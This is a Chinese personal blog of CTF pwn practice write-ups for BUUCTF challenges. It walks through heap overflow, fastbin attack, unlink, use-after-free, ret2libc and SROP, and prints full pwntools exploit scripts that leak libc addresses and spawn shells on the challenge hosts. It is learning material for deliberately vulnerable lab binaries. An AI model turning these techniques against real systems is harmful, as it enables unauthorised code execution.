0%

Pwn - Practice1

练习题 wp 记录

目录

0x00 Tools in Pwn

pwndbg

  1. gdb.attach(io,'xxx')

    1. xxx 为 GDB 的调试语句,比如'b main' 或者 'n 285'

gadgets

ROPgadget

  1. 面向 elf 文件使用,详情RTFMROPgadget -h

  2. 命令省流

    1. ROPgadget --binary ./pwn --only "pop|ret" | grep rdi

    2. ROPgadget --binary ./pwn --string 'sh'

one_gadget

  1. 面向 libc 库使用

  2. 命令 one_gadget ./libc.so.6

seccomp-tools

  1. 面向 elf 文件使用

  2. 命令 seccomp-tools dump ./pwn

第一道Heap,插个里程碑纪念一下XD

0x01 BUUCTF babyheap_0ctf_2017

0. 写在前面

七月学完栈溢出,ak掉buu前两页的所有栈题
八月本来是想把堆学穿,等回想起这个目标前半个月已经没了
参加了个数据安全的夏令营
给sdu的新生赛搞宣传(本来想出点签到题结果已经被人出好了TT^TT)
给SecretFlow审了一点go语言的洞
然后用C#和xaml给sdu校园网写了个一键修复脚本
总而言之学的很杂...说实话真不如多打点比赛。
本来栈的能力就没得到比赛的检验,堆的学习时间又所剩无几了...
总而言之还是脚踏实地学一点算一点吧
还有个南大PA的坑等着我去填呢...才刚把nemu的gdb实现了个单步步入...

做完这道题才算真正意义上的AK第一页XD

Ⅰ. 主要知识点

  1. 堆溢出

Ⅱ. 解题步骤

  1. checksec 保护全开

  1. 该elf文件在ubuntu16中创建,wsl用的本机libc肯定不合适,所以patchelf一下

    1
    patchelf --set-interpreter ./glibc-all-in-one/libs/libc6_2.23-0ubuntu11.3_amd64/ld-2.23.so --replace-needed libc.so.6 ./glibc-all-in-one/libs/libc6_2.23-0ubuntu11.3_amd64/libc.so.6

  2. 拖进IDA64分析,让反汇编以后的代码好看一点
    注:IDA中快捷键y可以修改变量类型,上图Alloc函数的我将a1的变量类型_int64修改为_int64*

  3. IDA分析可知,我们可以有以下思路:

    1. Fill函数的输入字符数量是受我们控制的,所以可以堆溢出;
    2. 由于本题并没有给出system等可以直接提权的函数,所以考虑泄露libc地址
      1. 要泄露libc地址,肯定要读存有libc地址的地址
        1. 哪里存着libc地址?unsorted bin仅有一个chunk时,此chunk的fd和bk都指向地址main_arena+58,而main_arena是libc的data段中的一个全局静态变量,所以泄露它就可以知道libc_base(注:此处存放的是topchunk的地址)
        2. 怎么去读unsorted bin的fd/bk指针?堆溢出+多次free/alloc
    3. 有了libc地址,我们可以通过修改fastbin的fd指针,在程序的__malloc_hook处(用libc+偏移来计算)申请一个我们可以操控的堆块,并在其中写入og的地址来提权
  4. 大概思路我们有了,接下来是写exp+调试验证思路。我们为了能够将chunk放入unsorted bin,肯定需要一个small chunk;要fastbin attack,肯定需要两个fastbin chunk;为了方便控制这三个chunk,我们再设置两个fastbin chunk,即:

    1
    2
    3
    4
    5
    alloc(0x10) #index = 0
    alloc(0x10) #index = 1
    alloc(0x10) #index = 2
    alloc(0x10) #index = 3
    alloc(0x80) #index = 4
    此时堆的情况如下

  5. Free掉index为1和2的chunk,给后面alloc留出空间

    1
    2
    free(1)
    free(2)
    heap情况如下 bin情况如下

  6. 堆溢出,操控fastbin

    1. 现在是main_arena_fastbin_0x20 ---> chunk2 --->chunk1
    2. 我们想办法让它变成 xxx_0x20 ---> chunk2 --->chunk4
      1
      2
      payload = (p64(0)*3 +p64(0x21))*2 + p8(0x80)
      fill(0,payload)
      (这里读者可以自己gdb.attach用bin命令去查看fastbin前后的状态)
  7. 由于从fastbin申请chunk时会检查fastbin中chunk的size,如果不匹配则报错,所以我们要通过堆溢出修改chunk4的size,让其从0x91变为0x21

    1
    2
    payload = p64(0)*3 + p64(0x21)
    fill(3,payload)

  8. 申请两个大小为0x10的chunk,可以看到原chunk1指向了原chunk2的地址原chunk2指向了原chunk4的地址,这样我们就有两个指针指向chunk4了,可以用一个指针来释放,一个指针来读取,方便阅读我们分别命名为pointer_chunk4和pointer_chunk2

    1
    2
    alloc(0x10)
    alloc(0x10)
    heap情况如下

  9. 直接用pointer_chunk4释放chunk4,ptmalloc会因为找不到topchunk而报错。所以我们应该恢复chunk4的size到0x91再free,但这样会导致chunk4直接跟topchunk合并。所以我们要先恢复chunk4的size到0x91再申请一个0x80大小的堆块隔离topchunk再free

    1
    2
    3
    4
    payload = p64(0)*3 + p64(0x91)
    fill(3,payload)
    alloc(0x80)
    free(4)

  10. 此时chunk4的fd和bk就已经存放着一个地址了,我们通过pointer_chunk2来把他读出来。这个地址是main_arena+88,打开libc可以看到main_arena的地址为0x3c4b20,所以我们获得的libc_addr需要减88再减0x3c4b20,即减去0x3C4B78

    1
    2
    3
    dump(2)
    libc_base = u64(io.recv(16)[-8:])-0x3c4b78
    print("libc_base   --->   ",hex(libc_base))

  11. 我们现在有了libc的地址,下一步是劫持malloc_hook。由于我们要通过fastbin来在malloc_hook处申请堆块,所以我们要通过fastbin对于size的检验,所以看一下malloc_hook前面有没有我们能够申请堆块的地方 发现aed处的0x0000007f符合fastbin的空间,所以我们用libc_base+0x3c4aed(这个用当前地址减去基地址即可算出)来申请
    ⚠这里图aed写错了,而且不应该看这个界面,整体上的chunk应该是

    1
    2
    3
    4
    aed  0x----------------(prev_size) 0x000000000000007f(size)
    afd ---------------------user_data-----------------------
    ...
    ...

1
2
3
4
5
6
alloc(0x60)                                    # 将unsortedbin中的chunk4切0x60大小申请出来
free(4) # 把chunk4放到fastbin中,便于用pointer_chunk2操控
payload = p64(libc_base+0x3c4aed) # 把申请块写进malloc_hook前面
fill(2,payload) # 这一步后,fastbin: main_arena ---> chunk4 ---> _ + 0x3c4aed
alloc(0x60) # 把chunk4申请回来
alloc(0x60) # 在malloc_hook处构造堆,index=6
  1. 我们修改chunk6的内容,即修改malloc_hook,我们用og来提权

    1
    2
    payload = b'a'*19 + p64(libc_base + 0x4526a)
    fill(6,payload)

  2. 若malloc_hook不为空,再申请堆时会先调用malloc_hook处的函数,所以随便申请即可cat flag

    1
    alloc(255)

Ⅲ. 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
domain_name = 'node4.buuoj.cn'
port = 25970
file = './babyheap_0ctf_2017'

# io = remote(domain_name,port)
io = process(file)
# gdb.attach(io,'b main')

# ---------------------------------------------------------------------
def alloc(size):
    io.sendlineafter('Command: ', str(1))
    io.sendlineafter('Size: ', str(size))

def fill(index, content):
    io.sendlineafter('Command: ', str(2))
    io.sendlineafter('Index: ', str(index))
    io.sendlineafter('Size: ', str(len(content)))
    io.sendlineafter('Content: ',content)

def free(index):
    io.sendlineafter('Command: ', str(3))
    io.sendlineafter('Index: ',str(index))

def dump(index):
    io.sendlineafter('Command: ', str(4))
    io.sendlineafter('Index: ', str(index))
    io.recvline()
# ---------------------------------------------------------------------
# gdb.attach(io)

alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)

# gdb.attach(io)

free(1)
free(2)

# gdb.attach(io)

payload = (p64(0)*3 +p64(0x21))*2 + p8(0x80)
fill(0,payload)

payload = p64(0)*3 + p64(0x21)
fill(3,payload)

# gdb.attach(io)

alloc(0x10)
alloc(0x10)

# gdb.attach(io)

payload = p64(0)*3 + p64(0x91)
fill(3,payload)

# gdb.attach(io)

alloc(0x80)

# gdb.attach(io)

free(4)

# gdb.attach(io)

dump(2)
libc_base = u64(io.recv(16)[-8:])-0x3c4b78
print("libc_base   --->   ",hex(libc_base))

gdb.attach(io)

alloc(0x60)
free(4)

payload = p64(libc_base+0x3c4aed)
fill(2,payload)

# gdb.attach(io)

alloc(0x60)

# gdb.attach(io)

alloc(0x60)

payload = b'a'*19 + p64(libc_base + 0x4526a)
fill(6,payload)

# gdb.attach(io)

alloc(255)

# gdb.attach(io)

io.interactive()

Ⅳ. 一些疑问

  1. __malloc_hook不是在data段中吗?这题开了FULL RELRO为什么可以改啊🤔

  2. 第九步中heap中chunk2的Addr为什么还是40而不是80啊?

  3. 第十步为什么chunk4会跟topchunk合并?是哪个bin的机制?

    1. unsortedbin,后向合并
  4. 为什么非要在aed处申请堆块?

    1. fastbin指针指向0xaed,说明0xaed-8是size,0xaed-0x10是prev_size,正好伪装chunk

0x02 buuctf [OGeek2019]babyrop_wp

网上很多wp已经不适用了,所以来更新一波XD

0x00 知识点

  1. ret2libc
  2. 提供libc的打法
  3. 绕过strlen & strncmp函数

0x01 解题步骤

不贴图了,按伪代码顺序来

  1. fd是urandom库生成的随机数
  2. 将fd读4位进buf
  3. 将buf作为参数传进函数A,在A中称作a1
  4. 将a1读进s
  5. 用户输入buf,但限制读入长度0x20,无法溢出;但可以考虑泄露
  6. v1赋值为buf的长度,绕过strlen & strncmp函数可以用'\x00'
  7. 返回buf[7],传入函数B,在B中称作a1,是read的检测长度,如果足够长可以构造溢出 于是函数A中的read我们有思路了,即 1. 绕过strlen 2. 返回buf[7]越大越好
    1
    2
    3
    4
    5
    payload  =  '\x00' + '\xff' * 7

    io.sendline(payload) # Q1:为什么非得是sendline而不能是send?

    io.recvuntil(b"Correct\n")
  8. B中观察栈的结构可知,我们可以用0xE7+4的垃圾数据抵达返回地址
  9. 由于string中并没有找到system('/bin/sh'),而题目提供了libc,所以我们可以泄露libc基地址;由于函数B结束后程序即将结束,我们已经没有溢出的点了,所以考虑将main作为返回地址,再来提供一次溢出,所以考虑构造payload2:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    xxxxxx
    xxxxxx<-----垃圾数据
    puts_plt<---调用puts
    main_addr<--将puts的返回地址压栈,即将eip的下一条指令压栈
    puts_got<---将puts的参数弹给puts

    junk = 0xE7 + 4

    # payload = b'a'*junk + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)

    payload = b'a'*junk + p32(puts_plt) + p32(main_addr) + p32(puts_got) # Q2: puts为什么不会打印后面的内容了?为什么puts_got后面一定是可以被转换为0a的00?

    io.send(payload)

    puts_addr = u32(io.recv(4))

    print('puts_addr ---> ',hex(puts_addr))

    # 注1:puts(const char* arg1)一直打印,直到遇到'\0',丢弃'\0'并输出'\n'
    # 注2:sszie_t write(fd,const char* src,length) (fd=1,length=32/8 or 64/8)
  10. 泄露libc地址后,泄露system/bin/sh的地址
    1
    2
    3
    4
    5
    offset   = puts_addr - libc.sym['puts']

    sys_addr = offset + libc.sym['system']

    bin_sh = offset + next(libc.search(b'/bin/sh'))
  11. 再进行一次绕过strncmp
    1
    2
    3
    4
    5
    payload  =  '\x00' + '\xff' * 7

    io.sendline(payload)

    io.recvuntil(b"Correct\n")
  12. 最后提权
    1
    2
    3
    4
    5
    payload  =  b'a'* junk + p32(sys_addr) + p32(0) + p32(bin_sh)    # 细节2:覆盖返回地址时,32位需要在栈上补充返回地址
    # Q3:为什么?
    io.send(payload)

    io.interactive()
  13. 最后贴一下全部exp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    from pwn import *
    from LibcSearcher import *
    io = remote('node4.buuoj.cn',26218)
    # context(os='linux', arch='i386', log_level='debug')
    elf = ELF('./pwn')
    libc = ELF('libc-2.23.so')
    context.log_level = 'debug'

    puts_got =elf.got['puts']
    puts_plt =elf.plt['puts']
    main_addr = 0x08048825

    payload = '\x00' + '\xff' * 7
    io.sendline(payload)
    io.recvuntil(b"Correct\n")

    junk = 0xE7 + 4
    payload = b'a'*junk + p32(puts_plt) + p32(main_addr) + p32(puts_got)
    puts_addr = u32(io.recv(4))
    print('puts_addr ---> ',hex(puts_addr))

    offset = puts_addr - libc.sym['puts']
    sys_addr = offset + libc.sym['system']
    bin_sh = offset + next(libc.search(b'/bin/sh'))

    payload = '\x00' + '\xff' * 7
    io.sendline(payload)
    io.recvuntil(b"Correct\n")

    payload = b'a'* junk + p32(sys_addr) + p32(0) + p32(bin_sh)
    io.send(payload)

    io.interactive()

0x02 一些思考

  1. 本题还可以有以下几种打法
    1. 泄露地址方面:不仅可以用puts,还可以用write;讲道理一切能输出到终端的函数都可以利用来泄露内容,后续慢慢探索
    2. 泄露地址后,我们可以用og进行提权
  2. 一些工具的使用
    1. flat可以用来构造payload

0x03 一些问题

  1. 0x01 中第七步payload,为什么在send时只能是sendline,我看received的结果明明都一样啊
  2. 0x01 中第九步payload,puts为什么不会打印后面的内容了(代码底部'注2')?为什么puts_got后面一定是可以被转换为0a的00?
  3. 0x01 中第12步payload,为什么需要sys_addr + 0 + bin_sh,这个0是sys_addr的返回地址吗?
  4. 网上很多博客都用LibcSearcher,可是我在将LibcSearcher数据库更新到最新版本以后还是无法查到对应libc库,很奇怪

0x03 buuctf hitcontraining_bamboobox

POC

这题看反汇编代码有个 magic,应该用 House of Force,但是 buu 喜欢把 flag 放在 / 目录下,所以题目提供的 magic 函数就失效了

所以用 unlink 修改堆表,使我们可以实现任意地址写

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = 'node5.buuoj.cn:28090'.split(':')
file = './bamboobox'

io = remote(ip[0],int(ip[1]))
# io = process(file)
# gdb.attach(io, 'breakpoint main')

elf = ELF(file)
# ---------------------------------------------------------------------
def show():
io.sendlineafter('Your choice:', str(1))


def alloc(size, content):
io.sendlineafter('Your choice:', str(2))
io.sendlineafter('item name:', str(size))
io.sendafter('name of item:', content)


def edit(idx, size, content):
io.sendlineafter('Your choice:', str(3))
io.sendlineafter('index of item:', str(idx))
io.sendlineafter('length of item name:', str(size))
io.sendafter('name of the item:', content)


def free(idx):
io.sendlineafter('Your choice:', str(4))
io.sendlineafter('index of item:', str(idx))

# ---------------------------------------------------------------------
alloc(0x40,'a'*8 ) # 0
alloc(0x80,'b' * 8) # 1
alloc(0x80,'c' * 8) # 2
alloc(0x20,'/bin/sh\x00\x00\x00\x00') # 3

ptr=0x6020c8
fd=ptr-0x18
bk=ptr-0x10

fake_chunk=p64(0)
fake_chunk+=p64(0x41)
fake_chunk+=p64(fd)
fake_chunk+=p64(bk)
fake_chunk+=b'\x00'*0x20
fake_chunk+=p64(0x40)
fake_chunk+=p64(0x90)

edit(0,len(fake_chunk),fake_chunk)

free(1)
free_got=elf.got['free']
payload1=p64(0)+p64(0)+p64(0x30)+p64(free_got)

edit(0,len(payload1),payload1)

show()
free_addr=u64(io.recvuntil("\x7f")[-6: ].ljust(8,b'\x00'))
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
sys_addr=libc_base+libc.dump('system')
print('free_addr ---> ',hex(free_addr))
print('libc_base ---> ',hex(libc_base))
print('sys_addr ---> ',hex(sys_addr))
edit(0,0x8,p64(sys_addr))

free(3)
io.interactive()

0x04 hitcontraining_uaf

Ⅰ. 所用知识点:
1. 逆向分析(这个题逆向太坐牢了,pseudocode太恶心,只能一点一点看) 2. 利用fastbin性质实现 3. UAF

Ⅱ. EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
domain_name = 'node4.buuoj.cn'
port = 25676
file = './hacknote'

io = remote(domain_name,port)
# io = process(file)

elf = ELF('./hacknote')
# libc = ELF('./libc_repo2elf/libc-2.23.so')

# ---------------------------------------------------------------------
def alloc(size,content):
io.sendlineafter('choice :', str(1))
io.sendlineafter('size :', str(size))
io.sendlineafter('Content :',content)

def delete(index):
io.sendlineafter('choice :', str(2))
io.sendlineafter('Index :', str(index))


def print(index):
io.sendlineafter('choice :', str(3))
io.sendlineafter('Index :',str(index))
# ---------------------------------------------------------------------
alloc(0x10,'aaaa')
alloc(0x10,'aaaa')

delete(0)
delete(1)

get_shell = 0x8048945
alloc(0x8,p32(get_shell))
print(0)

io.interactive()

Ⅲ. 解题感言 这个题该说是出的很灵活还是很逆天...想要发现利用点需要比较扎实的逆向功底才行。其次还要对fastbin对于不同大小的chunk的分配问题有比较深入的了解。

0x05 hitcontraining_magicheap

Ⅰ. 所用知识点
1. 利用fastbin的FFSL进行任意地址写

Ⅱ. EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
domain_name = 'node4.buuoj.cn'
port = 29259
file = './magicheap'

io = remote(domain_name,port)
# io = process(file)

elf = ELF('./magicheap')
# libc = ELF('./libc_repo2elf/libc-2.23.so')

# ---------------------------------------------------------------------
def alloc(size,content):
io.sendlineafter('choice :', str(1))
io.sendlineafter('Heap : ', str(size))
io.sendlineafter('heap:',content)

def edit(index,size,content):
io.sendlineafter('choice :', str(2))
io.sendlineafter('Index :', str(index))
io.sendlineafter('Heap : ', str(size))
io.sendlineafter('heap : ',content)

def delete(index):
io.sendlineafter('choice :', str(3))
io.sendlineafter('Index :', str(index))
# ---------------------------------------------------------------------
fake_chunk = 0x60208d
alloc(0x10,'\x00')
alloc(0x60,'\x00')
alloc(0x40,'\x00')
delete(1)

payload = p64(0)*3 + p64(0x71) + p64(fake_chunk)
edit(0,len(payload),payload)

alloc(0x60,'aaaa')
alloc(0x60,'aaaaaaaa')
io.sendline(str(4869))


io.interactive()

Ⅲ. 解题感言
四道堆题了,这是第一道自己做出来的堆题
我做Pwn的整体习惯是边打边学,没有说是先学再打
这道题整体感觉跟[ZJCTF 2019]EasyHeap非常像,不过133t函数里藏的是真flag,不用去泄露libc地址劫持malloc_hook了
因为特别像所以就考虑用fastbin attack打,事实上我到现在也不太清楚这算不算fastbin attack
只是利用了堆溢出和从fastbin里申请chunk的特性进行了一个任意地址的写
解决了babyheap那道题里不清楚的一个点(为什么在0x..aed申请fake_chunk)
这道题网上还有unsortedbin attack,抽空学一下

0x06 ciscn_2019_n_3

Ⅰ. 所用知识点
1. UAF

Ⅱ. EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
domain_name = 'node4.buuoj.cn'
port = 26279
file = './ciscn_2019_n_3'

io = remote(domain_name,port)
# io = process(file)

elf = ELF('./ciscn_2019_n_3')
# libc = ELF('./libc_repo2elf/libc-2.23.so')

# ---------------------------------------------------------------------
def alloc(index,content):
io.sendlineafter('CNote > ', str(1))
io.sendlineafter('Index > ', str(index))
io.sendlineafter('Type > ' , str(1))
io.sendlineafter('Value > ', content)

def alloc(index,size,content):
io.sendlineafter('CNote > ', str(1))
io.sendlineafter('Index > ', str(index))
io.sendlineafter('Type > ' , str(2))
io.sendlineafter('Length > ', str(size))
io.sendlineafter('Value > ', content)

def delete(index):
io.sendlineafter('CNote > ', str(2))
io.sendlineafter('Index > ', str(index))

def dump(index):
io.sendlineafter('choice :', str(3))
io.sendlineafter('Index > ', str(index))
# ---------------------------------------------------------------------
alloc(0,0x10,'/bin/sh\x00')
alloc(1,0x10,'/bin/sh\x00')
delete(1)
delete(0)
sys_plt = elf.plt['system']
payload = b'bash'+p32(sys_plt)
alloc(2,0xc,payload)
delete(1)
io.interactive()

Ⅲ.解题感言
第二道自己做的heap,总体感觉前两页的heap都属于签到

0x07 babyfengshui_33c3_2016

Ⅰ. 所用知识 1. 逆向分析:奇葩的堆溢出检测方式

Ⅱ.完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
domain_name = 'node4.buuoj.cn'
port = 28267
file = './babyfengshui_33c3_2016'

io = remote(domain_name,port)
# io = process(file)

elf = ELF('./babyfengshui_33c3_2016')
libc = ELF('./libc_repo2elf/libc-2.23.so')

# ----------------------------------------------------------
def alloc(hsize,name,wsize,desc):
io.sendlineafter('Action: ', str(0))
io.sendlineafter('description: ', str(hsize))
io.sendlineafter('name: ' , name)
io.sendlineafter('length: ', str(wsize))
io.sendlineafter('text: ',desc)

def delete(index):
io.sendlineafter('Action: ', str(1))
io.sendlineafter('index: ', str(index))

def dump(index):
io.sendlineafter('Action: ', str(2))
io.sendlineafter('index: ', str(index))

def edit(index,wsize,desc):
io.sendlineafter('Action: ', str(3))
io.sendlineafter('index: ', str(index))
io.sendlineafter('length: ', str(wsize))
io.sendlineafter('text: ',desc)
# ----------------------------------------------------------
free_got = elf.got['free']

alloc(0x80,'aaaa',0x80,'bbbb')
alloc(0x80,'aaaa',0x80,'bbbb')
alloc(0x8,'aaaa',0x8,'/bin/sh\x00')
delete(0)
alloc(0x100,'a',0x80,'a')
payload = b'a'*0x108 + b'a'*8 + b'a'*0x80 + b'a'*8 + p32(free_got)
# gdb.attach(io)

edit(3,0x200,payload)
dump(1)
io.recvuntil('description: ')
free_addr = u32(io.recv(4))
print('free_addr ---> ',hex(free_addr))
libc_base = free_addr - libc.sym['free']
sys_addr = libc_base + libc.sym['system']
edit(1,0x80,p32(sys_addr))
delete(2)
# gdb.attach(io)

io.interactive()

Ⅲ. summary 1. 好难...逆向以后本来就一大堆指针和函数调用,关系理都理不清还要利用,这道题的exp利用了“函数堆中利用指针去读写“的逻辑去覆写free_got的地址 2. 一些问题 1. 为什么LibcSearcher在本地就能查到正确的基址成功提权,到远程就不行了? 1. 在本地freegot指向了540,而远端是750,本地libc版本号能查对,说明远端有什么问题 2. 那么这个问题是什么呢?

0x08 hitcontraining_heapcreator

Ⅰ. 解题知识点 1. off-by-one

Ⅱ. 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
domain_name = 'node4.buuoj.cn'
port = 25756
file = './heapcreator'

io = remote(domain_name,port)
# io = process(file)

elf = ELF('./heapcreator')
# libc = ELF('./libc_repo2elf/libc-2.23.so')

# ---------------------------------------------------------------------
def alloc(size,content):
io.sendlineafter('choice :', str(1))
io.sendlineafter('Heap : ', str(size))
io.sendlineafter('heap:', content)

def edit(index,content):
io.sendlineafter('choice :', str(2))
io.sendlineafter('Index :', str(index))
io.sendlineafter('heap :', content)

def show(index):
io.sendlineafter('choice :', str(3))
io.sendlineafter('Index :', str(index))

def free(index):
io.sendlineafter('choice :', str(4))
io.sendlineafter('Index :', str(index))
# ---------------------------------------------------------------------
free_got = elf.got['free']

alloc(0x18,'/bin/sh\x00')
alloc(0x10,'\x00')
alloc(0x10,'\x00')
payload = b'/bin/sh\x00' + p64(0)*2 + p64(0x81)
edit(0,payload)
free(1)
payload = p64(0)*8 + p64(0x8) + p64(free_got)
alloc(0x70,payload)
show(2)
io.recvuntil('Content : ')
free_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('free_addr ---> ',hex(free_addr))

libc = LibcSearcher('free',free_addr)
libc_base = free_addr - libc.dump('free')
sys_addr = libc_base + libc.dump('system')
payload = p64(sys_addr)
edit(2,payload)
free(0)

# gdb.attach(io)
io.interactive()

Ⅲ. summary AK第二页完结撒flag 这道题基本就只把上一道题堆溢出检测改为off-by-one,其他基本没啥变动,可以算是第三道自己解出来的heap题~

0x09 hitcon2014_stkof

Ⅰ.知识点 1. unlink 2. 不关闭I/O缓冲区的后果

Ⅱ. 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
domain_name = 'node4.buuoj.cn'
port = 26280
file = './stkof'

io = remote(domain_name,port)
# io = process(file)

elf = ELF('./stkof')
libc = ELF('./libc_repo2elf/64libc-2.23.so')

# ---------------------------------------------------------------------
def alloc(size):
io.sendline('1')
io.sendline(str(size))
io.recvuntil('OK\n')

def fill(idx, content):
io.sendline('2')
io.sendline(str(idx))
io.sendline(str(len(content)))
io.send(content)
io.recvuntil('OK\n')

def free(idx):
io.sendline('3')
io.sendline(str(idx))
# ---------------------------------------------------------------------
alloc(0x30)
alloc(0x30)
alloc(0x80)
alloc(0x30)
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
target = 0x602140 + 0x10
fd = target - 0x18
bk = target - 0x10

payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += b"a"*0x10

payload += p64(0x30) + p64(0x90)
fill(2,payload)
free(3)

payload = b"a"*0x10
payload += p64(free_got) + p64(puts_got)
fill(2,payload)

payload = p64(puts_plt)
fill(1,payload)
free(2)

puts_addr = u64(io.recvuntil('\x7f')[-6:]+b'\x00\x00')
# log.success(hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))

payload = p64(system)
fill(1,payload)

fill(4,'/bin/sh\x00')
free(4)

io.interactive()

0x0A jarvisoj_level5

国赛前复习一下栈题是怎么打的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = 'node5.buuoj.cn:28090'.split(':')
file = './level3_x64'

io = remote(ip[0],int(ip[1]))
# io = process(file)
# gdb.attach(io, 'breakpoint main')

elf = ELF(file)
# ---------------------------------------------------------------------
pop_rdi_ret = 0x00000000004006b3
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
pop_rsi_r15_ret = 0x00000000004006b1


p1 = b'a' * (0x80 + 8) + p64(pop_rdi_ret) + p64(1)
p1 += p64(pop_rsi_r15_ret) + p64(write_got) + p64(0)
p1 += p64(write_plt) + p64(main_addr)
io.sendline(p1)

write_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print('write_addr ---> ' + hex(write_addr))

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

payload = b'a' * (0x80 + 8) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr)
io.sendline(payload)

io.interactive()

0x0B ciscn_2019_es_7

SROP,pwntools的集成真香

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = 'node5.buuoj.cn:28329'.split(':')
file = './ciscn_2019_es_7'

io = remote(ip[0],int(ip[1]))
# io = process(file)
# gdb.attach(io, 'breakpoint main')

elf = ELF(file)
# ---------------------------------------------------------------------
vuln_addr = 0x4004f1
sig_return = 0x4004da
execve_addr = 0x4004e2
syscall_ret = 0x400517

# gdb.attach(io)

bin_sh = b'/bin/sh\x00'
payload = bin_sh.ljust(0x10,b'a')
payload += p64(vuln_addr)
io.send(payload)

stack_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("stack_addr => ",hex(stack_addr))

bin_sh_addr = stack_addr - 328
print("bin_sh_addr => ",hex(bin_sh_addr))

payload = bin_sh.ljust(0x10,b'a')
payload += p64(sig_return)
payload += p64(syscall_ret)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = bin_sh_addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_ret
sigframe.rsp = stack_addr

payload += bytes(sigframe)

io.send(payload)
# gdb.attach(io)

io.interactive()

0x0C

-------------文章就到这里啦!感谢您的阅读XD-------------